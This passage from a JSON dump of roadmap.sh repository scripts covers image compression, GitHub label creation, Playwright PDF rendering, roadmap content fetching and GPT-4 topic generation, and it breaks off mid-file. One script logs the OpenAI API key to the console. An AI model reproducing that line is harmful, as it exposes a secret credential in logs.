    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport sharp from 'sharp';\n\n// ERROR: `__dirname` is not defined in ES module scope\n// https://iamwebwiz.medium.com/how-to-fix-dirname-is-not-defined-in-es-module-scope-34d94a86694d\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst allowedFileExtensions = [\n  '.avif',\n  '.gif',\n  '.heif',\n  '.jpeg',\n  '.png',\n  '.raw',\n  '.tiff',\n  '.webp',\n] as const;\ntype AllowedFileExtension = (typeof allowedFileExtensions)[number];\n\nconst publicDir = path.join(__dirname, '../public');\nconst cacheFile = path.join(__dirname, '/compressed-images.json');\n\nconst KB_IN_BYTES = 1024;\nconst COMPRESS_CONFIG = {\n  avif: {\n    chromaSubsampling: '4:4:4',\n    effort: 9.0,\n  },\n  gif: {\n    effort: 10.0,\n  },\n  jpeg: {\n    chromaSubsampling: '4:4:4',\n    mozjpeg: true,\n    trellisQuantisation: true,\n    overshootDeringing: true,\n    optimiseScans: true,\n  },\n  png: {\n    compressionLevel: 9.0,\n    palette: true,\n  },\n  raw: {},\n  tiff: {\n    compression: 'lzw',\n  },\n  webp: {\n    effort: 6.0,\n  },\n};\n\n(async () => {\n  let cache: string[] = [];\n  const isCacheFileExists = await fs\n    .access(cacheFile)\n    .then(() => true)\n    .catch(() => false);\n\n  if (isCacheFileExists) {\n    const cacheFileContent = await fs.readFile(cacheFile, 'utf8');\n    cache = JSON.parse(cacheFileContent);\n  }\n\n  const images = await recursiveGetImages(publicDir);\n  for (const image of images) {\n    const extname = path.extname(image).toLowerCase() as AllowedFileExtension;\n    if (\n      !allowedFileExtensions.includes(extname) ||\n      image.includes('node_modules') ||\n      image.includes('.astro') ||\n      image.includes('.vscode') ||\n      image.includes('.git')\n    ) {\n      continue;\n    }\n\n    const stats = await fs.stat(image);\n    const relativeImagePath = path.relative(path.join(__dirname, '..'), image);\n    if (cache.includes(relativeImagePath)) {\n      continue;\n    }\n\n    const prevSize = stats.size / KB_IN_BYTES;\n\n    let imageBuffer: Buffer | undefined;\n    switch (extname) {\n      case '.avif':\n        imageBuffer = await sharp(image).avif(COMPRESS_CONFIG.avif).toBuffer();\n        break;\n      case '.heif':\n        imageBuffer = await sharp(image).heif().toBuffer();\n        break;\n      case '.jpeg':\n        imageBuffer = await sharp(image).jpeg(COMPRESS_CONFIG.jpeg).toBuffer();\n        break;\n      case '.png':\n        imageBuffer = await sharp(image).png(COMPRESS_CONFIG.png).toBuffer();\n        break;\n      case '.raw':\n        imageBuffer = await sharp(image).raw().toBuffer();\n        break;\n      case '.tiff':\n        imageBuffer = await sharp(image).tiff(COMPRESS_CONFIG.tiff).toBuffer();\n        break;\n      case '.webp':\n        imageBuffer = await sharp(image).webp(COMPRESS_CONFIG.webp).toBuffer();\n        break;\n      case '.gif':\n        continue;\n    }\n\n    if (!imageBuffer) {\n      console.error(`❌ ${image} Compressing failed!`);\n      continue;\n    }\n\n    const newSize = imageBuffer.length / KB_IN_BYTES;\n    const diff = prevSize - newSize;\n    if (diff <= 0) {\n      console.log(`📦 Skipped ${relativeImagePath}`);\n      continue;\n    }\n\n    const diffPercent = ((diff / prevSize) * 100).toFixed(2);\n    console.log(\n      `📦 Reduced ${prevSize.toFixed(2)}KB → ${newSize.toFixed(2)}KB (${diff.toFixed(2)}KB, ${diffPercent}%) for ${relativeImagePath}`,\n    );\n\n    await fs.writeFile(image, imageBuffer);\n    cache.push(relativeImagePath);\n\n    // So that we don't lose the cache if the script crashes\n    await fs.writeFile(cacheFile, JSON.stringify(cache, null, 2), 'utf8');\n  }\n\n  await fs.writeFile(cacheFile, JSON.stringify(cache, null, 2), 'utf8');\n})();\n\nasync function recursiveGetImages(dir: string): Promise<string[]> {\n  const subdirs = await fs.readdir(dir, { withFileTypes: true });\n\n  const files = await Promise.all(\n    subdirs.map((dirent) => {\n      const res = path.resolve(dir, dirent.name);\n      return dirent.isDirectory() ? recursiveGetImages(res) : res;\n    }),\n  );\n\n  return Array.prototype.concat(...files);\n}\n"
  },
  {
    "path": "scripts/compressed-images.json",
    "content": "[\n  \"public/authors/dmytrobol.png\",\n  \"public/authors/ebrahimbharmal007.png\",\n  \"public/authors/jesse.png\",\n  \"public/authors/peter-thaleikis.png\",\n  \"public/best-practices/api-security.png\",\n  \"public/best-practices/aws.png\",\n  \"public/best-practices/backend-performance.png\",\n  \"public/best-practices/frontend-performance.png\",\n  \"public/guides/asymptotic-notation.png\",\n  \"public/guides/avoid-render-blocking-javascript-with-async-defer.png\",\n  \"public/guides/backend-languages/back-vs-front.png\",\n  \"public/guides/backend-languages/backend-roadmap-part.png\",\n  \"public/guides/backend-languages/javascript-interest.png\",\n  \"public/guides/backend-languages/pypl-go-index.png\",\n  \"public/guides/bash-vs-shell.jpeg\",\n  \"public/guides/basic-authentication/chrome-basic-auth.png\",\n  \"public/guides/basic-authentication/safari-basic-auth.png\",\n  \"public/guides/basic-authentication.png\",\n  \"public/guides/big-o-notation.png\",\n  \"public/guides/character-encodings.png\",\n  \"public/guides/ci-cd.png\",\n  \"public/guides/dhcp.png\",\n  \"public/guides/jwt-authentication.png\",\n  \"public/guides/llms.png\",\n  \"public/guides/project-history.png\",\n  \"public/guides/proxy/forward-proxy.png\",\n  \"public/guides/proxy/proxy-example.png\",\n  \"public/guides/proxy/reverse-proxy.png\",\n  \"public/guides/random-numbers.png\",\n  \"public/guides/session-authentication.png\",\n  \"public/guides/sli-slo-sla.jpeg\",\n  \"public/guides/ssl-tls-https-ssh.png\",\n  \"public/guides/token-authentication.png\",\n  \"public/guides/torrent-client/download.png\",\n  \"public/guides/torrent-client/pipelining.png\",\n  \"public/guides/unfamiliar-codebase.png\",\n  \"public/guides/web-vitals.png\",\n  \"public/img/brand.png\",\n  \"public/img/default-avatar.png\",\n  \"public/img/features/in-progress.png\",\n  \"public/img/icons8-wand.gif\",\n  \"public/img/partners/ambassador-graphic-1.png\",\n  \"public/img/partners/ambassador-graphic-2.png\",\n  \"public/img/partners/apollo-workshop.png\",\n  \"public/img/partners/graphql-summit.png\",\n  \"public/img/partners/nginx.png\",\n  \"public/img/roadmap-editor.jpeg\",\n  \"public/img/system-design.png\",\n  \"public/img/team-promo/contact.png\",\n  \"public/img/team-promo/documentation.png\",\n  \"public/img/team-promo/growth-plans.png\",\n  \"public/img/team-promo/hero-img.png\",\n  \"public/img/team-promo/hero.png\",\n  \"public/img/team-promo/invite-members.png\",\n  \"public/img/team-promo/many-roadmaps.png\",\n  \"public/img/team-promo/onboarding.png\",\n  \"public/img/team-promo/our-roadmaps.png\",\n  \"public/img/team-promo/progress-tracking.png\",\n  \"public/img/team-promo/roadmap-editor.png\",\n  \"public/img/team-promo/sharing-settings.png\",\n  \"public/img/team-promo/skill-gap.png\",\n  \"public/img/team-promo/team-dashboard.png\",\n  \"public/img/team-promo/team-insights.png\",\n  \"public/img/team-promo/update-progress.png\",\n  \"public/manifest/apple-touch-icon.png\",\n  \"public/manifest/icon152.png\",\n  \"public/manifest/icon196.png\",\n  \"public/manifest/icon32.png\",\n  \"public/og-images/best-practices/api-security.png\",\n  \"public/og-images/best-practices/aws.png\",\n  \"public/og-images/best-practices/backend-performance.png\",\n  \"public/og-images/best-practices/code-review.png\",\n  \"public/og-images/best-practices/frontend-performance.png\",\n  \"public/og-images/guides/asymptotic-notation.png\",\n  \"public/og-images/guides/avoid-render-blocking-javascript-with-async-defer.png\",\n  \"public/og-images/guides/backend-developer-skills.png\",\n  \"public/og-images/guides/backend-developer-tools.png\",\n  \"public/og-images/guides/backend-languages.png\",\n  \"public/og-images/guides/basic-authentication.png\",\n  \"public/og-images/guides/basics-of-authentication.png\",\n  \"public/og-images/guides/big-o-notation.png\",\n  \"public/og-images/guides/character-encodings.png\",\n  \"public/og-images/guides/ci-cd.png\",\n  \"public/og-images/guides/consistency-patterns-in-distributed-systems.png\",\n  \"public/og-images/guides/design-patterns-for-humans.png\",\n  \"public/og-images/guides/dhcp-in-one-picture.png\",\n  \"public/og-images/guides/dns-in-one-picture.png\",\n  \"public/og-images/guides/free-resources-to-learn-llms.png\",\n  \"public/og-images/guides/history-of-javascript.png\",\n  \"public/og-images/guides/how-to-setup-a-jump-server.png\",\n  \"public/og-images/guides/http-basic-authentication.png\",\n  \"public/og-images/guides/http-caching.png\",\n  \"public/og-images/guides/introduction-to-llms.png\",\n  \"public/og-images/guides/journey-to-http2.png\",\n  \"public/og-images/guides/jwt-authentication.png\",\n  \"public/og-images/guides/levels-of-seniority.png\",\n  \"public/og-images/guides/oauth.png\",\n  \"public/og-images/guides/proxy-servers.png\",\n  \"public/og-images/guides/random-numbers.png\",\n  \"public/og-images/guides/scaling-databases.png\",\n  \"public/og-images/guides/session-authentication.png\",\n  \"public/og-images/guides/session-based-authentication.png\",\n  \"public/og-images/guides/setup-and-auto-renew-ssl-certificates.png\",\n  \"public/og-images/guides/single-command-database-setup.png\",\n  \"public/og-images/guides/ssl-tls-https-ssh.png\",\n  \"public/og-images/guides/sso.png\",\n  \"public/og-images/guides/token-authentication.png\",\n  \"public/og-images/guides/torrent-client.png\",\n  \"public/og-images/guides/unfamiliar-codebase.png\",\n  \"public/og-images/guides/what-are-web-vitals.png\",\n  \"public/og-images/guides/what-is-internet.png\",\n  \"public/og-images/guides/what-is-sli-slo-sla.png\",\n  \"public/og-images/guides/why-build-it-and-they-will-come-wont-work-anymore.png\",\n  \"public/og-images/roadmaps/android.png\",\n  \"public/og-images/roadmaps/angular.png\",\n  \"public/og-images/roadmaps/aspnet-core.png\",\n  \"public/og-images/roadmaps/aws.png\",\n  \"public/og-images/roadmaps/backend.png\",\n  \"public/og-images/roadmaps/blockchain.png\",\n  \"public/og-images/roadmaps/code-review.png\",\n  \"public/og-images/roadmaps/computer-science.png\",\n  \"public/og-images/roadmaps/cpp.png\",\n  \"public/og-images/roadmaps/cyber-security.png\",\n  \"public/og-images/roadmaps/data-analyst.png\",\n  \"public/og-images/roadmaps/datastructures-and-algorithms.png\",\n  \"public/og-images/roadmaps/design-system.png\",\n  \"public/og-images/roadmaps/devops.png\",\n  \"public/og-images/roadmaps/docker.png\",\n  \"public/og-images/roadmaps/flutter.png\",\n  \"public/og-images/roadmaps/frontend.png\",\n  \"public/og-images/roadmaps/full-stack.png\",\n  \"public/og-images/roadmaps/game-developer.png\",\n  \"public/og-images/roadmaps/golang.png\",\n  \"public/og-images/roadmaps/graphql.png\",\n  \"public/og-images/roadmaps/java.png\",\n  \"public/og-images/roadmaps/javascript.png\",\n  \"public/og-images/roadmaps/kubernetes.png\",\n  \"public/og-images/roadmaps/mlops.png\",\n  \"public/og-images/roadmaps/mongodb.png\",\n  \"public/og-images/roadmaps/nodejs.png\",\n  \"public/og-images/roadmaps/postgresql-dba.png\",\n  \"public/og-images/roadmaps/prompt-engineering.png\",\n  \"public/og-images/roadmaps/python.png\",\n  \"public/og-images/roadmaps/qa.png\",\n  \"public/og-images/roadmaps/react-native.png\",\n  \"public/og-images/roadmaps/react.png\",\n  \"public/og-images/roadmaps/rust.png\",\n  \"public/og-images/roadmaps/server-side-game-developer.png\",\n  \"public/og-images/roadmaps/software-architect.png\",\n  \"public/og-images/roadmaps/software-design-architecture.png\",\n  \"public/og-images/roadmaps/spring-boot.png\",\n  \"public/og-images/roadmaps/sql.png\",\n  \"public/og-images/roadmaps/system-design.png\",\n  \"public/og-images/roadmaps/technical-writer.png\",\n  \"public/og-images/roadmaps/typescript.png\",\n  \"public/og-images/roadmaps/ux-design.png\",\n  \"public/og-images/roadmaps/vue.png\",\n  \"public/og-images/sql-roadmap.png\",\n  \"public/roadmaps/android.png\",\n  \"public/roadmaps/aspnet-core.png\",\n  \"public/roadmaps/aws.png\",\n  \"public/roadmaps/backend.png\",\n  \"public/roadmaps/blockchain.png\",\n  \"public/roadmaps/computer-science.png\",\n  \"public/roadmaps/cpp.png\",\n  \"public/roadmaps/cyber-security.png\",\n  \"public/roadmaps/data-analyst.png\",\n  \"public/roadmaps/design-system.png\",\n  \"public/roadmaps/devops.png\",\n  \"public/roadmaps/docker.png\",\n  \"public/roadmaps/flutter.png\",\n  \"public/roadmaps/frontend.png\",\n  \"public/roadmaps/full-stack.png\",\n  \"public/roadmaps/game-developer.png\",\n  \"public/roadmaps/graphql.png\",\n  \"public/roadmaps/intro.png\",\n  \"public/roadmaps/java.png\",\n  \"public/roadmaps/javascript.png\",\n  \"public/roadmaps/kubernetes.png\",\n  \"public/roadmaps/mlops.png\",\n  \"public/roadmaps/mongodb.png\",\n  \"public/roadmaps/nodejs.png\",\n  \"public/roadmaps/python.png\",\n  \"public/roadmaps/qa.png\",\n  \"public/roadmaps/react.png\",\n  \"public/roadmaps/rust.png\",\n  \"public/roadmaps/software-architect.png\",\n  \"public/roadmaps/software-design-architecture.png\",\n  \"public/roadmaps/sql.png\",\n  \"public/roadmaps/technical-writer.png\",\n  \"public/roadmaps/typescript.png\",\n  \"public/roadmaps/ux-design.png\",\n  \"public/roadmaps/vue.png\",\n  \"public/og-images/roadmaps/ai-data-scientist.png\",\n  \"public/og-images/roadmaps/linux.png\",\n  \"public/roadmaps/ai-data-scientist.png\",\n  \"public/roadmaps/linux.png\"\n]"
  },
  {
    "path": "scripts/create-roadmap-labels.sh",
    "content": "#!/usr/bin/env bash\n\n# get all the folder names inside src/data/roadmaps\nroadmap_ids=$(ls src/data/roadmaps)\n\n# create a label for each roadmap name on github issues using gh cli\nfor roadmap_id in $roadmap_ids\ndo\n  random_color=$(openssl rand -hex 3)\n  gh label create \"$roadmap_id\" --color $random_color --description \"Roadmap: $roadmap_id\"\ndone"
  },
  {
    "path": "scripts/editor-roadmap-assets.ts",
    "content": "import playwright from 'playwright';\n\n// Usage: tsx ./scripts/editor-roadmap-dirs.ts <roadmapId>\n\nconst roadmapId = process.argv[2];\n\nif (!roadmapId) {\n  console.error('Roadmap Id is required');\n  process.exit(1);\n}\n\n// Fetch roadmap data from API\nconst apiUrl = `https://roadmap.sh/api/v1-official-roadmap/${roadmapId}`;\nconsole.log(`Fetching roadmap data from ${apiUrl}`);\n\nlet roadmapData: any;\ntry {\n  const response = await fetch(apiUrl);\n  if (!response.ok) {\n    throw new Error(`HTTP error! status: ${response.status}`);\n  }\n  roadmapData = await response.json();\n} catch (error) {\n  console.error(`Failed to fetch roadmap data: ${error}`);\n  process.exit(1);\n}\n\n// Check if dimensions exist in the API response\nif (!roadmapData.dimensions) {\n  console.error('Invalid roadmap data: missing dimensions');\n  process.exit(1);\n}\n\nconsole.log(`Launching chromium`);\nconst browser = await playwright.chromium.launch();\nconst context = await browser.newContext();\nconst page = await context.newPage();\n\nconst pageUrl = `http://localhost:3000/${roadmapId}/svg`;\nconsole.log(`Opening page ${pageUrl}`);\nawait page.goto(pageUrl);\nawait page.waitForSelector('#resource-svg-wrap');\nawait page.waitForTimeout(5000);\nconsole.log(`Generating PDF ${pageUrl}`);\nawait page.pdf({\n  path: `./public/pdfs/roadmaps/${roadmapId}.pdf`,\n  margin: { top: 0, right: 0, bottom: 0, left: 0 },\n  height: roadmapData.dimensions?.height || 2000,\n  width: roadmapData.dimensions?.width || 968,\n});\n\n// @todo generate png from the pdf\nconsole.log(`Generating png ${pageUrl}`);\nawait page.locator('#resource-svg-wrap>svg').screenshot({\n  path: `./public/roadmaps/${roadmapId}.png`,\n  type: 'png',\n  scale: 'device',\n});\n\nawait browser.close();\n"
  },
  {
    "path": "scripts/editor-roadmap-content-json.ts",
    "content": "import type { Node } from '@roadmapsh/editor';\nimport matter from 'gray-matter';\nimport { HTMLElement, parse } from 'node-html-parser';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { htmlToMarkdown } from '../src/lib/html';\nimport { markdownToHtml } from '../src/lib/markdown';\nimport type { RoadmapFrontmatter } from '../src/lib/roadmap';\nimport { slugify } from '../src/lib/slugger';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nexport const allowedLinkTypes = [\n  'video',\n  'article',\n  'opensource',\n  'course',\n  'website',\n  'podcast',\n] as const;\n\nexport async function fetchRoadmapJson(roadmapId: string) {\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-official-roadmap/${roadmapId}`,\n  );\n\n  if (!response.ok) {\n    throw new Error(`Failed to fetch roadmap json: ${response.statusText}`);\n  }\n\n  const data = await response.json();\n  if (data.error) {\n    throw new Error(`Failed to fetch roadmap json: ${data.error}`);\n  }\n\n  return data;\n}\n\n// Directory containing the roadmaps\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst allRoadmaps = await fs.readdir(ROADMAP_CONTENT_DIR);\n\nconst editorRoadmapIds = new Set<string>();\nfor (const roadmapId of allRoadmaps) {\n  const roadmapFrontmatterDir = path.join(\n    ROADMAP_CONTENT_DIR,\n    roadmapId,\n    `${roadmapId}.md`,\n  );\n  const roadmapFrontmatterRaw = await fs.readFile(\n    roadmapFrontmatterDir,\n    'utf-8',\n  );\n  const { data } = matter(roadmapFrontmatterRaw);\n\n  const roadmapFrontmatter = data as RoadmapFrontmatter;\n  if (roadmapFrontmatter.renderer === 'editor') {\n    editorRoadmapIds.add(roadmapId);\n  }\n}\n\nconst publicRoadmapsContentDir = path.join('./public', 'roadmap-content');\nconst stats = await fs.stat(publicRoadmapsContentDir).catch(() => null);\nif (!stats || !stats.isDirectory()) {\n  await fs.mkdir(publicRoadmapsContentDir, { recursive: true });\n}\n\nfor (const roadmapId of editorRoadmapIds) {\n  console.log(`🚀 Starting ${roadmapId}`);\n\n  const data = await fetchRoadmapJson(roadmapId).catch((error) => {\n    console.error(error);\n    return null;\n  });\n\n  if (!data) {\n    console.error(`Failed to fetch roadmap json: ${roadmapId}`);\n    continue;\n  }\n\n  let { nodes } = data as {\n    nodes: Node[];\n  };\n  nodes = nodes.filter(\n    (node) =>\n      node?.type &&\n      ['topic', 'subtopic', 'todo'].includes(node.type) &&\n      node.data?.label,\n  );\n\n  const roadmapContentDir = path.join(\n    ROADMAP_CONTENT_DIR,\n    roadmapId,\n    'content',\n  );\n  const stats = await fs.stat(roadmapContentDir).catch(() => null);\n  if (!stats || !stats.isDirectory()) {\n    await fs.mkdir(roadmapContentDir, { recursive: true });\n  }\n\n  const roadmapContentFiles = await fs.readdir(roadmapContentDir, {\n    recursive: true,\n  });\n\n  const contentMap: Record<\n    string,\n    {\n      title: string;\n      description: string;\n      links: {\n        title: string;\n        url: string;\n        type: string;\n      }[];\n    }\n  > = {};\n\n  for (const node of nodes) {\n    const nodeDirPatternWithoutExt = `${slugify(node?.data?.label as string)}@${node.id}`;\n    const nodeDirPattern = `${nodeDirPatternWithoutExt}.md`;\n    if (!roadmapContentFiles.includes(nodeDirPattern)) {\n      contentMap[nodeDirPattern] = {\n        title: node?.data?.label as string,\n        description: '',\n        links: [],\n      };\n\n      continue;\n    }\n\n    const content = await fs.readFile(\n      path.join(roadmapContentDir, nodeDirPattern),\n      'utf-8',\n    );\n    const html = markdownToHtml(content, false);\n    const rootHtml = parse(html);\n\n    let ulWithLinks: HTMLElement | undefined;\n    rootHtml.querySelectorAll('ul').forEach((ul) => {\n      const listWithJustLinks = Array.from(ul.querySelectorAll('li')).filter(\n        (li) => {\n          const link = li.querySelector('a');\n          return link && link.textContent?.trim() === li.textContent?.trim();\n        },\n      );\n\n      if (listWithJustLinks.length > 0) {\n        ulWithLinks = ul;\n      }\n    });\n\n    const listLinks =\n      ulWithLinks !== undefined\n        ? Array.from(ulWithLinks.querySelectorAll('li > a'))\n            .map((link) => {\n              const typePattern = /@([a-z.]+)@/;\n              let linkText = link.textContent || '';\n              const linkHref = link.getAttribute('href') || '';\n              let linkType = linkText.match(typePattern)?.[1] || 'article';\n              linkType = allowedLinkTypes.includes(linkType as any)\n                ? linkType\n                : 'article';\n\n              linkText = linkText.replace(typePattern, '');\n\n              return {\n                title: linkText,\n                url: linkHref,\n                type: linkType,\n              };\n            })\n            .sort((a, b) => {\n              const order = [\n                'official',\n                'opensource',\n                'article',\n                'video',\n                'feed',\n              ];\n              return order.indexOf(a.type) - order.indexOf(b.type);\n            })\n        : [];\n\n    const title = rootHtml.querySelector('h1');\n    ulWithLinks?.remove();\n    title?.remove();\n    const htmlStringWithoutLinks = rootHtml.toString();\n    const description = htmlToMarkdown(htmlStringWithoutLinks);\n\n    contentMap[node.id] = {\n      title: node.data.label as string,\n      description,\n      links: listLinks,\n    };\n  }\n\n  await fs.writeFile(\n    path.join(publicRoadmapsContentDir, `${roadmapId}.json`),\n    JSON.stringify(contentMap, null, 2),\n  );\n  console.log(`✅ Finished ${roadmapId}`);\n  console.log('-'.repeat(20));\n}\n"
  },
  {
    "path": "scripts/editor-roadmap-content.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport type { Edge, Node } from '@roadmapsh/editor';\nimport matter from 'gray-matter';\nimport type { RoadmapFrontmatter } from '../src/lib/roadmap';\nimport { slugify } from '../src/lib/slugger';\nimport OpenAI from 'openai';\nimport { runPromisesInBatchSequentially } from '../src/lib/promise';\nimport { httpGet } from '../src/lib/http';\n\n// ERROR: `__dirname` is not defined in ES module scope\n// https://iamwebwiz.medium.com/how-to-fix-dirname-is-not-defined-in-es-module-scope-34d94a86694d\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\n// Usage: tsx ./scripts/editor-roadmap-content.ts <roadmapId>\nconst OPEN_AI_API_KEY = process.env.OPEN_AI_API_KEY;\nconsole.log('OPEN_AI_API_KEY:', OPEN_AI_API_KEY);\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst roadmapId = process.argv[2];\n\nconst allowedRoadmapIds = await fs.readdir(ROADMAP_CONTENT_DIR);\nif (!roadmapId) {\n  console.error('Roadmap Id is required');\n  process.exit(1);\n}\n\nif (!allowedRoadmapIds.includes(roadmapId)) {\n  console.error(`Invalid roadmap key ${roadmapId}`);\n  console.error(`Allowed keys are ${allowedRoadmapIds.join(', ')}`);\n  process.exit(1);\n}\n\nconst roadmapFrontmatterDir = path.join(\n  ROADMAP_CONTENT_DIR,\n  roadmapId,\n  `${roadmapId}.md`,\n);\nconst roadmapFrontmatterRaw = await fs.readFile(roadmapFrontmatterDir, 'utf-8');\nconst { data } = matter(roadmapFrontmatterRaw);\n\nconst roadmapFrontmatter = data as RoadmapFrontmatter;\nif (!roadmapFrontmatter) {\n  console.error('Invalid roadmap frontmatter');\n  process.exit(1);\n}\n\nif (roadmapFrontmatter.renderer !== 'editor') {\n  console.error('Only Editor Rendered Roadmaps are allowed');\n  process.exit(1);\n}\n\nconst { response: roadmapContent, error } = await httpGet(\n  `${import.meta.env.PUBLIC_API_URL}/v1-official-roadmap/${roadmapId}`,\n);\n\nif (error) {\n  console.error(error);\n  process.exit(1);\n}\n\nlet { nodes, edges } = roadmapContent as {\n  nodes: Node[];\n  edges: Edge[];\n};\nconst enrichedNodes = nodes\n  .filter(\n    (node) =>\n      node?.type &&\n      ['topic', 'subtopic'].includes(node.type) &&\n      node.data?.label,\n  )\n  .map((node) => {\n    // Because we only need the parent id and title for subtopics\n    if (node.type !== 'subtopic') {\n      return node;\n    }\n\n    const parentNodeId =\n      edges.find((edge) => edge.target === node.id)?.source || '';\n    const parentNode = nodes.find((n) => n.id === parentNodeId);\n\n    return {\n      ...node,\n      parentId: parentNodeId,\n      parentTitle: parentNode?.data?.label || '',\n    };\n  }) as (Node & { parentId?: string; parentTitle?: string })[];\n\nconst roadmapContentDir = path.join(ROADMAP_CONTENT_DIR, roadmapId, 'content');\nconst stats = await fs.stat(roadmapContentDir).catch(() => null);\nif (!stats || !stats.isDirectory()) {\n  await fs.mkdir(roadmapContentDir, { recursive: true });\n}\n\nlet openai: OpenAI | undefined;\nif (OPEN_AI_API_KEY) {\n  openai = new OpenAI({\n    apiKey: OPEN_AI_API_KEY,\n  });\n}\n\nfunction writeTopicContent(\n  roadmapTitle: string,\n  childTopic: string,\n  parentTopic?: string,\n) {\n  let prompt = `I will give you a topic and you need to write a brief introduction for that with regards to \"${roadmapTitle}\". Your format should be as follows and be in strictly markdown format:\n\n# (Put a heading for the topic without adding parent \"Subtopic in Topic\" or \"Topic in Roadmap\" or \"Subtopic under XYZ\" etc.)\n\n(Briefly explain the topic in one paragraph using simple english with regards to \"${roadmapTitle}\". Don't start with explaining how important the topic is with regard to \"${roadmapTitle}\". Don't say something along the lines of \"XYZ plays a crucial role in ${roadmapTitle}\". Don't include anything saying \"In the context of ${roadmapTitle}\". Instead, start with a simple explanation of the topic itself. For example, if the topic is \"React\", you can start with \"React is a JavaScript library for building user interfaces.\" and then you can explain how it is used in \"${roadmapTitle}\".)\n`;\n\n  if (!parentTopic) {\n    prompt += `First topic is: ${childTopic}`;\n  } else {\n    prompt += `First topic is: ${childTopic} under ${parentTopic}`;\n  }\n\n  return new Promise((resolve, reject) => {\n    openai?.chat.completions\n      .create({\n        model: 'gpt-4',\n        messages: [\n          {\n            role: 'user',\n            content: prompt,\n          },\n        ],\n      })\n      .then((response) => {\n        const article = response.choices[0].message.content;\n\n        resolve(article);\n      })\n      .catch((err) => {\n        reject(err);\n      });\n  });\n}\n\nasync function writeNodeContent(node: Node & { parentTitle?: string }) {\n  const nodeDirPattern = `${slugify(node?.data?.label as string)}@${node.id}.md`;\n  if (!roadmapContentFiles.includes(nodeDirPattern)) {\n    console.log(`Missing file for: ${nodeDirPattern}`);\n    return;\n  }\n\n  const nodeDir = path.join(roadmapContentDir, nodeDirPattern);\n  const nodeContent = await fs.readFile(nodeDir, 'utf-8');\n  const isFileEmpty = !nodeContent.replace(`# ${node.data.label}`, '').trim();\n  if (!isFileEmpty) {\n    console.log(`❌ Ignoring ${nodeDirPattern}. Not empty.`);\n    return;\n  }\n\n  const topic = node.data.label as string;\n  const parentTopic = node.parentTitle;\n\n  console.log(`⏳ Generating content for ${topic}...`);\n  let newContentFile = '';\n  if (OPEN_AI_API_KEY) {\n    newContentFile = (await writeTopicContent(\n      roadmapFrontmatter.title,\n      topic,\n      parentTopic,\n    )) as string;\n  } else {\n    newContentFile = `# ${topic}`;\n  }\n\n  await fs.writeFile(nodeDir, newContentFile, 'utf-8');\n  console.log(`✅ Content generated for ${topic}`);\n}\n\nlet roadmapContentFiles = await fs.readdir(roadmapContentDir, {\n  recursive: true,\n});\n\nif (!OPEN_AI_API_KEY) {\n  console.log('----------------------------------------');\n  console.log('OPEN_AI_API_KEY not found. Skipping openai api calls...');\n  console.log('----------------------------------------');\n}\nconst promises = enrichedNodes.map((node) => () => writeNodeContent(node));\nawait runPromisesInBatchSequentially(promises, 20);\nconsole.log('✅ All content generated');\n"
  },
  {
    "path": "scripts/editor-roadmap-dirs.ts",
    "content": "import type { Node } from '@roadmapsh/editor';\nimport matter from 'gray-matter';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport type { RoadmapFrontmatter } from '../src/lib/roadmap';\nimport { slugify } from '../src/lib/slugger';\n\n// ERROR: `__dirname` is not defined in ES module scope\n// https://iamwebwiz.medium.com/how-to-fix-dirname-is-not-defined-in-es-module-scope-34d94a86694d\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\n// Usage: tsx ./scripts/editor-roadmap-dirs.ts <roadmapId>\n\n// Directory containing the roadmaps\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst roadmapId = process.argv[2];\n\nconst allowedRoadmapIds = await fs.readdir(ROADMAP_CONTENT_DIR);\nif (!roadmapId) {\n  console.error('Roadmap Id is required');\n  process.exit(1);\n}\n\nif (!allowedRoadmapIds.includes(roadmapId)) {\n  console.error(`Invalid roadmap key ${roadmapId}`);\n  console.error(`Allowed keys are ${allowedRoadmapIds.join(', ')}`);\n  process.exit(1);\n}\n\nconst roadmapFrontmatterDir = path.join(\n  ROADMAP_CONTENT_DIR,\n  roadmapId,\n  `${roadmapId}.md`,\n);\nconst roadmapFrontmatterRaw = await fs.readFile(roadmapFrontmatterDir, 'utf-8');\nconst { data } = matter(roadmapFrontmatterRaw);\n\nconst roadmapFrontmatter = data as RoadmapFrontmatter;\nif (!roadmapFrontmatter) {\n  console.error('Invalid roadmap frontmatter');\n  process.exit(1);\n}\n\nif (roadmapFrontmatter.renderer !== 'editor') {\n  console.error('Only Editor Rendered Roadmaps are allowed');\n  process.exit(1);\n}\n\nexport async function fetchRoadmapJson(roadmapId: string) {\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-official-roadmap/${roadmapId}`,\n  );\n\n  if (!response.ok) {\n    throw new Error(`Failed to fetch roadmap json: ${response.statusText}`);\n  }\n\n  const data = await response.json();\n  if (data.error) {\n    throw new Error(`Failed to fetch roadmap json: ${data.error}`);\n  }\n\n  return data;\n}\n\nconst roadmapContent = await fetchRoadmapJson(roadmapId);\n\nif (!roadmapContent) {\n  console.error(`Failed to fetch roadmap json: ${roadmapId}`);\n  process.exit(1);\n}\n\nlet { nodes } = roadmapContent as {\n  nodes: Node[];\n};\nnodes = nodes.filter(\n  (node) =>\n    node?.type && ['topic', 'subtopic'].includes(node.type) && node.data?.label,\n);\n\nconst roadmapContentDir = path.join(ROADMAP_CONTENT_DIR, roadmapId, 'content');\nconst stats = await fs.stat(roadmapContentDir).catch(() => null);\nif (!stats || !stats.isDirectory()) {\n  await fs.mkdir(roadmapContentDir, { recursive: true });\n}\n\nconst roadmapContentFiles = await fs.readdir(roadmapContentDir, {\n  recursive: true,\n});\n\nnodes.forEach(async (node, index) => {\n  const nodeDirPattern = 